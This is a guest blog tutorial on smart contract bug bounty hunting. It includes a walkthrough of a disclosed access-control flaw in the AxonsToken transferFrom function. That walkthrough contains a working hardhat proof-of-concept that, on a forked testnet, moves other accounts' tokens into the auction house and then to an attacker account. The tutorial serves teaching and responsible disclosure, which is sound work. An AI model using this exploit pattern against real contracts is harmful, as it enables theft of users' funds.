Getting started with smart contract in Bug Bounty

April 5, 2022

Smart contracts security has had an increasingly bad reputation over the last few years, with over $1.2 billion dollars worth of cryptoassets stolen in this first quarter of this year alone. The need for whitehat hackers to help protect smart contracts has never been higher.

This article is a guest blog post written by Ashiq Amien.

What are smart contracts anyway?

Smart contracts are blockchain computer programs that execute when established conditions are met by some counterpart. The typical real-world analogy for smart contracts are vending machines. When a customer sends money to the vending machine, and some indication of which snack to dispense, the machine validates that certain pre-established conditions are met before dispensing the snack. In this case, the machine validates that the money received for the selected snack was enough, and that there is sufficient stock of the selected snack. The vending machine’s internal validation and processing removes the need for a shopkeeper to perform the same actions, and this idea is generalised to smart contracts to execute arbitrary actions such as exchanging and transferring assets, taking out a loan and more, each action with their own set of pre-determined conditions.

For this post, I’m going to be talking about smart contracts in general, but I’m referring to contracts that run on the EVM, the Ethereum Virtual Machine. The EVM is a virtual machine that enables the execution of smart contracts and is what updates the state of smart contracts as transactions are processed. There are several EVM-based blockchains, and the information in this blog can be used interchangeably.

Why are smart contracts good targets to hack?

Compared to Web3 vulnerabilities, a blackhat will generally need to make an extensive effort to find a way to monetize their Web2 vulnerabilities, such as setting up a spear-phishing campaign in hopes to trick victims into sending them money. In the case of smart contracts, a single mistake in a smart contract could lead to irreversible theft of millions of dollars, which has already happened many times. Smart contracts are excellent targets for hackers due to it’s ability to hold high value cryptoassets, and with the complex smart contract code usually being immutable, it may take just one error to compromise the entire protocol. To reflect the growing need for whitehat hackers, project teams have stepped up and have started to offer larger and larger bounties, with bounties up to $10m offered for critical vulnerabilities.

Getting started

Solidity basics

The most popular smart contract language for smart contracts is Solidity. Since most protocols open-source their smart contract code, there is less need to rely on intermediary steps like reconnaissance, compared to traditional web bug hunting. This means that being able to read and understand the code will be your most powerful tool to find bugs, more so than any kind of automated tooling. To this end, you should spend plenty of time with smart contract development. This means following beginner syntax tutorials like CryptoZombies, and getting your hands dirty to write and deploy contracts. Understanding the basics such as the importance of correct function visibility, or why private state variables can still be freely read beyond the smart contract level, are vital to building a solid foundation.

Fork testing

As you start reviewing code for bugs, you’ll want to test out any leads you may have. However, since smart contracts live on blockchains, it’s very important to not test out any potential exploits on mainnet or testnets. That’s because blockchains are very transparent, in the sense that anyone can read exactly what you’re trying to do when interacting with a smart contract. A bad actor may notice what you’re attempting to do and front running to exploit the issue you’ve picked up. To get around this, most researchers make use of mainnet forks: a simulated environment that replicates blockchain state up until some block height. This allows anyone to test their exploits with existing contracts in their current state, without broadcasting what they’re doing to the actual blockchain. I’ve already written a separate blog post on how to do this, which can be found here.

Security training

Once you have the basics down, the next step should be upskilling yourself to learn about the different security practices and common vulnerabilities related to smart contracts. The best way to do this would be to play CTFs (Capture the Flag) and wargames to learn how to exploit intentionally vulnerable smart contracts. There is an abundance of training material, with one of the most popular materials being Ethernaut due to its easy setup and progressive difficulty. Other popular training materials are Damn Vulnerable DeFi and replaying challenges from the 2021 Paradigm CTF.

Beyond training, there are some other general tips to stay up to date with the smart contract security scene. Since the space is incredibly fast-paced, it’s helpful to always get updates in real time from projects. This means following prominent personalities on Twitter (I’ve found Twitter to be the most up-to-date and reliable source of news), as well as joining the local hacker communities on Telegram, Discord etc. Beyond community, it’s important to take initiative wherever possible. Learning about how the latest exploits work under-the-hood will give you a notch above hunters who aren’t familiar with the new pattern. For example, trying to replicate exploits detailed on rekt.news is an excellent way to keep your skills sharp.

Lastly, once you have the basics and some training under your belt, I’d recommend just diving into some targets from a smart contract bug bounty platform, such as Immunefi. This where you’ll gain the most experience compared to any of the above tips, since you’d be reviewing production code (or staging code, occasionally) and you’ll hopefully be stumbling on some bug leads that you’d want to test on your local fork. Many of your bug leads may lead to dead ends, but each dead end should come with a valuable lesson that you can take with to your next hunting session. For example, you may think you’ve found a way to drain assets from a Uniswap V2 pool, only to realize how the constant product formula was enforced in the code. Each failure should teach you something, even if it’s not obvious at the time.

Hunting Session Walkthrough

I thought it would be interesting to detail what a bug hunting session might look like, so I’ll demo a walk through of a simple (but critical) vulnerability I disclosed to NFT artist @abwagmi. To find interesting targets, I’m usually looking through Immunefi, but I also enjoy keeping an eye out on Twitter for interesting opportunities. I stumbled on this tweet and got the 3 relevant contract addresses after DM’ing abwagmi. The 3 contracts are AxonsToken, AxonsAuctionHouse and AxonsVoting. Immediately, we can see what the contracts inherit and we can start asking the following questions:

contract AxonsToken is IAxonsToken, ERC20, Ownable {
  • Are the parent contracts (ERC20, Ownable) standard contracts (e.g. written by OpenZeppelin), or are they custom written contract by the dev?
  • Are any of the ERC20 functions overridden?
  • Where is the owner role used? Are there any functions that should have made use of the owner role, when it didn’t?
contract AxonsAuctionHouse is IAxonsAuctionHouse, PausableUpgradeable, ReentrancyGuardUpgradeable, OwnableUpgradeable {
  • Are the parent contracts standard contracts or are they custom written contract by the dev? (This question should be asked for pretty much all contracts)
  • Which functions does the important pause function affect? Is there relevant access control to prevent attackers from pausing the contract?
  • Where is the reentrancy guard used? Why is it necessary? Was it implemented correctly, and does it handle reentrant tokens?
  • Where is the owner role used? Are there any functions that should have made use of the owner role, when it didn’t? (Again, any time access control roles are imported they should be inspected closely for their intended use compared to what was actually implemented)
contract AxonsVoting is IAxonsVoting, ReentrancyGuardUpgradeable, OwnableUpgradeable {
  • Are the parent contracts standard contracts or are they custom written contract by the dev?
  • Where is the reentrancy guard used? Why is it necessary? Was it implemented correctly, and does it handle reentrant tokens?
  • Where is the owner role used? Are there any functions that should have made use of the owner role, when it didn’t?

You should notice that even by inspecting just a few contracts we already have some overlap in things to check with regards to access control, reentrancy and custom imported contracts.

After starting to answer the above questions, you’ll notice that our second question for AxonsToken has an interesting answer: The transferFrom function is overridden. Immediately, an overridden function that handles token transfer should be inspected closely. To understand any issues relating to the transferFrom function, you’ll need to understand how transferFrom works in the usual case.

function transferFrom(
    address from,
    address to,
    uint256 amount
) public virtual override returns (bool) {
    address spender = _msgSender();
    _spendAllowance(from, spender, amount);
    _transfer(from, to, amount);
    return true;
}

The transferFrom function is used to transfer tokens on behalf of another user, provided they set some prior allowance on the number of tokens to transfer. In the case of the AxonsToken transferFrom function, the dev was hoping to circumvent the need to approve the auctionHouse contract to save on gas costs and immediately proceed with a transfer if the sender or recipient was the auctionHouse contract:

function transferFrom(
    address sender,
    address recipient,
    uint256 amount
) public override(IERC20,ERC20) returns (bool) {
    require(recipient == auctionHouse || sender == auctionHouse, "This token cannot be traded");

    // override approval for auction house to save gas
    if (recipient == auctionHouse) {
        _transfer(sender, auctionHouse, amount);
        return true;
    }
    // override approval for auction house to save gas
    if (sender == auctionHouse) {
        _transfer(auctionHouse, recipient, amount);
        return true;
    }

    return super.transferFrom(sender, recipient, amount);
}

While the function is ‘functional’ in the sense that it does circumvent the need to approve the auction house, there is a flaw in the way we validate that the sender is who they say they are. Right now, there is no check that the person performing the transfer is the sender or the auctionHouse. This means we should be able to do 2 things:

  • We can move tokens from any user to the auctionHouse contract: transferFrom(victim, auctionHouse, balance).
  • We can move tokens from the auctionHouse contract to any user: transferFrom(auctionHouse, attacker, balance).

Putting these to points together means we can sweep all user balances to the auctionHouse contract, and then move it back to ourselves to steal the entire token balance! Of course, this seems great on paper, but we need to validate it with a POC. Set up by doing the following:

Once setup, your hardhat config should look similar to the following:

require("hardhat-etherscan-abi");

module.exports = {
    networks: {
      hardhat: {
        chainId: 4,
        forking: {
          url: "https://eth-rinkeby.alchemyapi.io/v2/<your-alchemy-key>",
          blockNumber: 9754925 
        },
      },      
    },
  etherscan: {
    apiKey: "<your-etherscan-key>"
  },

};

Note that since the contracts were deployed on Rinkeby, we need to specify chainId: 4 and a relevant block number to Rinkeby. In this case, any block number after the contract was deployed will work, but in general it will depend on the state you want to test against. (e.g. something happened after block x, so fork from block x+1)

Before we write the POC, we want to test that the fork is working as intended and that the correct state is being fetched. A simple way to do this is to create a file in the test folder and print some state, such as the current owner:

const { ethers } = require("hardhat")
let provider = ethers.getDefaultProvider();

describe("AxonsToken buggy transferFrom", function () {
  let axonsToken;

  before(async () => {    
    accounts = await ethers.getSigners();
    axonsToken = await ethers.getVerifiedContractAt("0xd3cF1baab1F75d5bd86150963dda164c6E3E87A6");
   });

   it("check that our fork is working", async function (){
    console.log(await axonsToken.owner());
   });
 });

Run the test and confirm that it matches the correct owner (e.g. by reading the owner from Rinkeby Etherscan):

$ npx hardhat test test/First_test.js 


  AxonsToken buggy transferFrom
0x74035801B7968AA9a0D1Ca7C8EEa1a14D16E3a40
    ✔ check that our fork is working (39ms)

The owner address matches the state of the chain, so we can start building our POC. We want to code the following steps:

  • Let 2 accounts have some token balance
  • Move both accounts’ balance to the auction house contract
  • Move the auction house contract balance to some third address

A successful test confirms that we can move arbitrary token balances to and from the contracts. Start by funding 2 accounts through the devmint function (Note that this function was confirmed to be used on testnet only, so this arbitrary mint is not a bug).

it("steal everyone's tokens through the auctionhouse", async function () {        
    await axonsToken.connect(accounts[1]).devmint();
    await axonsToken.connect(accounts[2]).devmint();

    console.log("account 1 token balance is: " + await axonsToken.balanceOf(accounts[1].address));
    console.log("account 2 token balance is: " + await axonsToken.balanceOf(accounts[2].address));
    console.log("account 3 token balance is: " + await axonsToken.balanceOf(accounts[3].address));
    console.log("auction house token balance is: " + await axonsToken.balanceOf(await axonsToken.auctionHouse()));       
}).timeout("250000");

This gives us:

account 1 token balance is: 10000000000000000000000
account 2 token balance is: 10000000000000000000000
account 3 token balance is: 0
auction house token balance is: 0

Then, from the context of a different account (see that accounts[3] is used), move the tokens from account 1 and 2 to the auction house contract:

...
await axonsToken.connect(accounts[3]).transferFrom(accounts[1].address,await axonsToken.auctionHouse(),await axonsToken.balanceOf(accounts[1].address));
await axonsToken.connect(accounts[3]).transferFrom(accounts[2].address,await axonsToken.auctionHouse(),await axonsToken.balanceOf(accounts[2].address));


console.log("account 1 token balance is: " + await axonsToken.balanceOf(accounts[1].address));
console.log("account 2 token balance is: " + await axonsToken.balanceOf(accounts[2].address));
console.log("account 3 token balance is: " + await axonsToken.balanceOf(accounts[3].address));
console.log("auction house token balance is: " + await axonsToken.balanceOf(await axonsToken.auctionHouse()));
...
account 1 token balance is: 0
account 2 token balance is: 0
account 3 token balance is: 0
auction house token balance is: 20000000000000000000000

And finally, pull the auctionHouse balance back. In this case, account 3 is pulling the balance back to their own account:

...
await axonsToken.connect(accounts[3]).transferFrom(await axonsToken.auctionHouse(),accounts[3].address,await axonsToken.balanceOf(await axonsToken.auctionHouse()))


console.log("account 1 token balance is: " + await axonsToken.balanceOf(accounts[1].address));
console.log("account 2 token balance is: " + await axonsToken.balanceOf(accounts[2].address));
console.log("account 3 token balance is: " + await axonsToken.balanceOf(accounts[3].address));
console.log("auction house token balance is: " + await axonsToken.balanceOf(await axonsToken.auctionHouse()));
account 1 token balance is: 0
account 2 token balance is: 0
account 3 token balance is: 20000000000000000000000
auction house token balance is: 0
...

And the test confirmed our idea – we can arbitrarily move anyone else’s token balances around, leaving everyone’s balances vulnerable to theft. The fix would be to check that the sender is indeed the msg.sender, or that the auctionHouse is performing the transfer.

An actual hunting session should then end by writing a report for the dev – this is easily the most important part of effective bug hunting since it should precisely detail the issue, impact and fix. Unfortunately, report writing is out-of-scope for this tutorial 🙂

Hunting tips

Over time, everyone develops their own techniques for hunting. There is no single correct technique, but I think it’s important to identify the style of hunting you prefer, and optimize for it. For example, you could prefer to hunt for bugs in a staging environment, in which case you’d prefer to find bugs on projects hosted on code4rena. In this case, it would make sense to read old contest reports to get a sense of the type of bugs other wardens have found. Alternatively, you may prefer to find bugs on deployed contracts, in which case you may look for targets hosted on Immunefi. In this case, getting comfortable with mainnet fork testing, or quick heuristic testing with Remix will help your test your ideas quicker than other hunters, and prevent the chance of getting duped.

You could refine your hunting style further to look for common code-level bugs, or dig deeper to find contextual bugs. If you prefer to find common code-level bugs, such as an exposed public burn function, it would make sense to iterate through all available targets as opposed to diving deep to fully understand all of a project’s nuances. On the other hand, if you are looking to find contextual bugs, it would make sense to read available audit reports to see what auditors have already highlighted as sensitive points. Even if the bugs are patched, you’ll get a sense of critical functionality, which may have changed since the code was frozen for an audit. Finding deep contextual bugs for a project has an additional advantage for hunters since many projects fork off one another, meaning that your report will be valid across multiple targets from just one bug.

Lastly, as with traditional Web2 bug hunting, it’s important to just keep going! Keep testing and reviewing code, keep learning what new exploits are in the wild and you’ll come across valid bugs very soon. GLHF! 🙂

🤘 START HUNTING ON YESWEHACK!